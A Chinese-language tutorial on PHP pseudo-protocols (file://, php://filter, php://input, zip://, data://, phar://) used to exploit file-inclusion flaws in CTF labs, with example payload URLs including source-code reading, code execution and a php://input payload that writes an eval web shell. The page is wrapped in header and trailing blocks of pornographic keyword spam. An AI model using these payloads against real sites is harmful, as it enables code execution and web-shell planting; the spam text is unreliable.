久久精品五月,日韩不卡视频在线观看,国产精品videossex久久发布 ,久久av综合

站長(zhǎng)資訊網(wǎng)
最全最豐富的資訊網(wǎng)站

PHP偽協(xié)議大總結(jié)【歡迎收藏】

file:// 協(xié)議

  • 條件

    • allow_url_fopen:off/on
    • allow_url_include :off/on
  • 作用
    用于訪問本地文件系統(tǒng),在CTF中通常用來讀取本地文件的且不受allow_url_fopenallow_url_include的影響。
    include()/require()/include_once()/require_once()參數(shù)可控的情況下,如導(dǎo)入為非.php文件,則仍按照php語法進(jìn)行解析,這是include()函數(shù)所決定的。
  • 說明
    file:// 文件系統(tǒng)是 PHP 使用的默認(rèn)封裝協(xié)議,展現(xiàn)了本地文件系統(tǒng)。當(dāng)指定了一個(gè)相對(duì)路徑(不以/、、或 Windows 盤符開頭的路徑)提供的路徑將基于當(dāng)前的工作目錄。在很多情況下是腳本所在的目錄,除非被修改了。使用 CLI 的時(shí)候,目錄默認(rèn)是腳本被調(diào)用時(shí)所在的目錄。在某些函數(shù)里,例如 fopen()file_get_contents()include_path 會(huì)可選地搜索,也作為相對(duì)的路徑。
  • 用法

    /path/to/file.ext relative/path/to/file.ext fileInCwd.ext C:/path/to/winfile.ext C:pathtowinfile.ext \smbserversharepathtowinfile.ext file:///path/to/file.ext
  • 示例

    1. file://[文件的絕對(duì)路徑和文件名]

      http://127.0.0.1/include.php?file=file://E:phpStudyPHPTutorialWWWphpinfo.txt

      PHP偽協(xié)議大總結(jié)【歡迎收藏】

    2. [文件的相對(duì)路徑和文件名]

      http://127.0.0.1/include.php?file=./phpinfo.txt

      PHP偽協(xié)議大總結(jié)【歡迎收藏】

    3. [http://網(wǎng)絡(luò)路徑和文件名]

      http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

      PHP偽協(xié)議大總結(jié)【歡迎收藏】

  • 參考:http://php.net/manual/zh/wrappers.file.php

php:// 協(xié)議

  • 條件

    • allow_url_fopen:off/on
    • allow_url_include :僅php://input php://stdin php://memory php://temp 需要on
  • 作用
    php:// 訪問各個(gè)輸入/輸出流(I/O streams),在CTF中經(jīng)常使用的是php://filterphp://inputphp://filter用于讀取源碼php://input用于執(zhí)行php代碼
  • 說明
    PHP 提供了一些雜項(xiàng)輸入/輸出(IO)流,允許訪問 PHP 的輸入輸出流、標(biāo)準(zhǔn)輸入輸出和錯(cuò)誤描述符,
    內(nèi)存中、磁盤備份的臨時(shí)文件流以及可以操作其他讀取寫入文件資源的過濾器。

    協(xié)議 作用
    php://input 可以訪問請(qǐng)求的原始數(shù)據(jù)的只讀流,在POST請(qǐng)求中訪問POST的data部分,在enctype="multipart/form-data" 的時(shí)候php://input 是無效的。
    php://output 只寫的數(shù)據(jù)流,允許以 print 和 echo 一樣的方式寫入到輸出緩沖區(qū)。
    php://fd (>=5.3.6)允許直接訪問指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
    php://memory php://temp (>=5.1.0)一個(gè)類似文件包裝器的數(shù)據(jù)流,允許讀寫臨時(shí)數(shù)據(jù)。兩者的唯一區(qū)別是 php://memory 總是把數(shù)據(jù)儲(chǔ)存在內(nèi)存中,而 php://temp 會(huì)在內(nèi)存量達(dá)到預(yù)定義的限制后(默認(rèn)是 2MB)存入臨時(shí)文件中。臨時(shí)文件位置的決定和 sys_get_temp_dir() 的方式一致。
    php://filter (>=5.0.0)一種元封裝器,設(shè)計(jì)用于數(shù)據(jù)流打開時(shí)的篩選過濾應(yīng)用。對(duì)于一體式(all-in-one)的文件函數(shù)非常有用,類似 readfile()file()file_get_contents(),在數(shù)據(jù)流內(nèi)容讀取之前沒有機(jī)會(huì)應(yīng)用其他過濾器。
  • php://filter參數(shù)詳解

    該協(xié)議的參數(shù)會(huì)在該協(xié)議路徑上進(jìn)行傳遞,多個(gè)參數(shù)都可以在一個(gè)路徑上傳遞。具體參考如下:

    php://filter 參數(shù) 描述
    resource=<要過濾的數(shù)據(jù)流> 必須項(xiàng)。它指定了你要篩選過濾的數(shù)據(jù)流。
    read=<讀鏈的過濾器> 可選項(xiàng)。可以設(shè)定一個(gè)或多個(gè)過濾器名稱,以管道符(* *)分隔。
    write=<寫鏈的過濾器> 可選項(xiàng)。可以設(shè)定一個(gè)或多個(gè)過濾器名稱,以管道符( )分隔。
    <; 兩個(gè)鏈的過濾器> 任何沒有以 read=write= 作前綴的篩選器列表會(huì)視情況應(yīng)用于讀或?qū)戞湣?/td>
  • 可用的過濾器列表(4類)

    此處列舉主要的過濾器類型,詳細(xì)內(nèi)容請(qǐng)參考:https://www.php.net/manual/zh/filters.php

    字符串過濾器 作用
    string.rot13 等同于str_rot13(),rot13變換
    string.toupper 等同于strtoupper(),轉(zhuǎn)大寫字母
    string.tolower 等同于strtolower(),轉(zhuǎn)小寫字母
    string.strip_tags 等同于strip_tags(),去除html、PHP語言標(biāo)簽
    轉(zhuǎn)換過濾器 作用
    convert.base64-encode & convert.base64-decode 等同于base64_encode()base64_decode(),base64編碼解碼
    convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串與 8-bit 字符串編碼解碼
    壓縮過濾器 作用
    zlib.deflate & zlib.inflate 在本地文件系統(tǒng)中創(chuàng)建 gzip 兼容文件的方法,但不產(chǎn)生命令行工具如 gzip的頭和尾信息。只是壓縮和解壓數(shù)據(jù)流中的有效載荷部分。
    bzip2.compress & bzip2.decompress 同上,在本地文件系統(tǒng)中創(chuàng)建 bz2 兼容文件的方法。
    加密過濾器 作用
    mcrypt.* libmcrypt 對(duì)稱加密算法
    mdecrypt.* libmcrypt 對(duì)稱解密算法
  • 示例

    1. php://filter/read=convert.base64-encode/resource=[文件名]讀取文件源碼(針對(duì)php文件需要base64編碼)

      http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

      PHP偽協(xié)議大總結(jié)【歡迎收藏】

    2. php://input + [POST DATA]執(zhí)行php代碼

      http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?>

      PHP偽協(xié)議大總結(jié)【歡迎收藏】

      若有寫入權(quán)限,寫入一句話木馬

      http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

      PHP偽協(xié)議大總結(jié)【歡迎收藏】

  • 參考:https://php.net/manual/zh/wrappers.php.php

zip:// & bzip2:// & zlib:// 協(xié)議

  • 條件

    • allow_url_fopen:off/on
    • allow_url_include :off/on
  • 作用zip:// & bzip2:// & zlib:// 均屬于壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定后綴名,可修改為任意后綴:jpg png gif xxx 等等。
  • 示例

    1. zip://[壓縮文件絕對(duì)路徑]%23[壓縮文件內(nèi)的子文件名](#編碼為%23)

      壓縮 phpinfo.txt 為 phpinfo.zip ,壓縮包重命名為 phpinfo.jpg ,并上傳

      http://127.0.0.1/include.php?file=zip://E:phpStudyPHPTutorialWWWphpinfo.jpg%23phpinfo.txt

      PHP偽協(xié)議大總結(jié)【歡迎收藏】

    2. compress.bzip2://file.bz2

      壓縮 phpinfo.txt 為 phpinfo.bz2 并上傳(同樣支持任意后綴名)

      http://127.0.0.1/include.php?file=compress.bzip2://E:phpStudyPHPTutorialWWWphpinfo.bz2

      PHP偽協(xié)議大總結(jié)【歡迎收藏】

    3. compress.zlib://file.gz

      壓縮 phpinfo.txt 為 phpinfo.gz 并上傳(同樣支持任意后綴名)

      http://127.0.0.1/include.php?file=compress.zlib://E:phpStudyPHPTutorialWWWphpinfo.gz

      PHP偽協(xié)議大總結(jié)【歡迎收藏】

  • 參考:http://php.net/manual/zh/wrappers.compression.php

data:// 協(xié)議

  • 條件

    • allow_url_fopen:on
    • allow_url_include :on
  • 作用:自PHP>=5.2.0起,可以使用data://數(shù)據(jù)流封裝器,以傳遞相應(yīng)格式的數(shù)據(jù)。通常可以用來執(zhí)行PHP代碼。
  • 用法

    data://text/plain, data://text/plain;base64,
  • 示例

    1. data://text/plain,

      http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

      PHP偽協(xié)議大總結(jié)【歡迎收藏】

    2. data://text/plain;base64,

      http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

      PHP偽協(xié)議大總結(jié)【歡迎收藏】

http:// & https:// 協(xié)議

  • 條件

    • allow_url_fopen:on
    • allow_url_include :on
  • 作用:常規(guī) URL 形式,允許通過 HTTP 1.0 的 GET方法,以只讀訪問文件或資源。CTF中通常用于遠(yuǎn)程包含。
  • 用法

    http://example.com http://example.com/file.php?var1=val1&var2=val2 http://user:password@example.com https://example.com https://example.com/file.php?var1=val1&var2=val2 https://user:password@example.com
  • 示例

    http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

    PHP偽協(xié)議大總結(jié)【歡迎收藏】

phar:// 協(xié)議

phar://協(xié)議與zip://類似,同樣可以訪問zip格式壓縮包內(nèi)容,在這里只給出一個(gè)示例:

http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

PHP偽協(xié)議大總結(jié)【歡迎收藏】

另外在 Black Hat 2018 大會(huì)上,研究人員公布了一款針對(duì)PHP應(yīng)用程序的全新攻擊技術(shù):phar://協(xié)議對(duì)象注入技術(shù)

因?yàn)樵摾命c(diǎn)需要滿足一定的條件才能利用,可以參考下面這篇文章,里面的demo也非常詳細(xì),留作以后專門研究一下。

贊(0)
分享到: 更多 (0)
?
網(wǎng)站地圖   滬ICP備18035694號(hào)-2    滬公網(wǎng)安備31011702889846號(hào)
久久精品五月,日韩不卡视频在线观看,国产精品videossex久久发布 ,久久av综合
黄色欧美日韩| 国产91在线播放精品| 福利一区和二区| 免费在线亚洲欧美| 免费一区二区三区在线视频| 四虎884aa成人精品最新| 伊人久久亚洲| 亚洲综合精品四区| 蜜桃久久久久久久| 日韩午夜视频在线| 欧美精品三级在线| 欧美激情 亚洲a∨综合| 精品一区二区三区四区五区| 精品中文在线| 欧美成a人国产精品高清乱码在线观看片在线观看久 | 午夜精品成人av| a日韩av网址| 欧美日韩在线二区| 免费精品视频| 欧美亚洲三级| 国产一区二区三区黄网站| 国产精品视频3p| 91视频一区| 婷婷六月综合| 亚洲91网站| 精品一区二区三区的国产在线观看| 98精品视频| 中文一区在线| 欧美亚洲二区| 久久久久久一区二区| caoporn视频在线| 国产日韩欧美三级| 亚洲三级欧美| 久久国产精品亚洲77777| 欧美精品影院| 久久精品1区| 亚洲我射av| 久久久91麻豆精品国产一区| 欧洲一区二区三区精品| 亚洲一区成人| 国产欧美日韩一区二区三区在线| 精品理论电影在线| 国精品一区二区| 日本在线视频一区二区| 久久精品系列| 欧美理论视频| 国产精品手机在线播放| 久久中文字幕二区| 日韩精品一区二区三区av| 国产精品久久久久久久久妇女| 日韩视频精品在线观看| 国产欧美综合一区二区三区| 久久久噜噜噜| 蜜臀久久久久久久| zzzwww在线看片免费| 亚洲香蕉视频| 欧美日韩精品免费观看视欧美高清免费大片 | 精品久久久网| 亚洲男女自偷自拍| 精品三级av在线导航| 亚洲综合日本| 亚洲国产成人二区| 日韩激情啪啪| 激情综合激情| 国产精品一区二区精品| 欧美日韩国产综合网| 老司机精品视频在线播放| 99国产成+人+综合+亚洲欧美| 久久久久九九精品影院| 一区二区91| 伊人久久大香线蕉av不卡| 欧美日本久久| 巨乳诱惑日韩免费av| 日韩另类视频| 精品三级在线观看视频| 日韩1区2区日韩1区2区| 怡红院精品视频在线观看极品| 精品国产欧美日韩| 日韩av中文字幕一区二区三区| 欧美va天堂| 国产不卡一区| 国产欧美日韩在线观看视频| 丝袜美腿亚洲色图| 久久精品成人| 国产成人精选| 国产日韩一区二区三区在线| 亚洲成人三区| 欧洲一区二区三区精品| 开心激情综合| 国产亚洲精品美女久久 | 少妇久久久久| 精品一区二区三区的国产在线观看| 亚洲精品黄色| 亚洲一区成人| 黄色在线一区| 国产一区视频在线观看免费| 欧美激情国产在线| 精品99在线| 国产日产精品_国产精品毛片| 亚洲视频www| 亚洲精品电影| 香蕉国产精品| 九一精品国产| 四虎影视精品| 中文另类视频| 视频福利一区| 一区二区三区四区日本视频| 另类综合日韩欧美亚洲| 国产视频网站一区二区三区| 日韩精品视频网站| 亚洲欧美在线综合| 亚洲久久在线| 天堂精品久久久久| 中文一区在线| 国产视频一区三区| 一本一本久久| 日韩午夜av在线| 99国产成+人+综合+亚洲欧美| 91成人精品视频| 国产精品丝袜xxxxxxx| 91久久视频| 免费精品视频| 蜜桃视频在线观看一区| 在线观看亚洲精品福利片| 一区二区自拍| 亚洲在线一区| 免费在线观看一区二区三区| 成人羞羞视频播放网站| 国产精品蜜芽在线观看| 国产福利片在线观看| 日韩理论视频| 国产a久久精品一区二区三区| 精品欧美日韩精品| 欧美不卡高清一区二区三区| 99精品视频在线| 中文亚洲欧美| 日韩一区精品| 麻豆精品视频在线观看视频| 视频在线不卡免费观看| 久久婷婷久久| 羞羞答答国产精品www一本| 蜜桃av一区二区三区电影| 亚洲精品麻豆| 欧美日韩18| 精品视频自拍| 黑人精品一区| 亚洲精品成人| 色综合视频一区二区三区日韩 | 欧美成a人国产精品高清乱码在线观看片在线观看久 | 日韩高清一区在线| 国产精品巨作av| 国产一区二区三区黄网站| 久久精品电影| 蜜桃一区二区三区在线观看| 欧美中文高清| 日本在线高清| 美女尤物久久精品| 国产日韩视频| 日韩网站中文字幕| 影音先锋久久精品| 国产剧情一区| 精精国产xxxx视频在线播放| 最新日韩av| 国产精品欧美一区二区三区不卡| 麻豆mv在线观看| 久久午夜影视| 国产精品theporn| 久久久精品久久久久久96| 日韩精品一级二级 | 国产精品videossex久久发布 | 成人av二区| 日韩精品成人| 日本免费一区二区三区四区| 亚洲欧美日韩视频二区| 国产伦精品一区二区三区千人斩 | 国产欧美啪啪| 91精品蜜臀一区二区三区在线| 午夜在线一区二区| 免费看久久久| 亚洲专区在线| 精品国产中文字幕第一页| 亚洲免费观看| 国产中文欧美日韩在线| 91久久中文| 老色鬼精品视频在线观看播放| 日韩视频一区二区三区在线播放免费观看| 日韩av一级片| 免费视频一区三区| 欧美aⅴ一区二区三区视频| 在线一区欧美| 首页国产精品| 亚洲精品人人| 日韩电影二区| 日韩三级视频| 2023国产精品久久久精品双| 国产精品宾馆| 亚洲视频电影在线| 欧美一区二区三区高清视频| 精品久久电影| 免费不卡在线视频|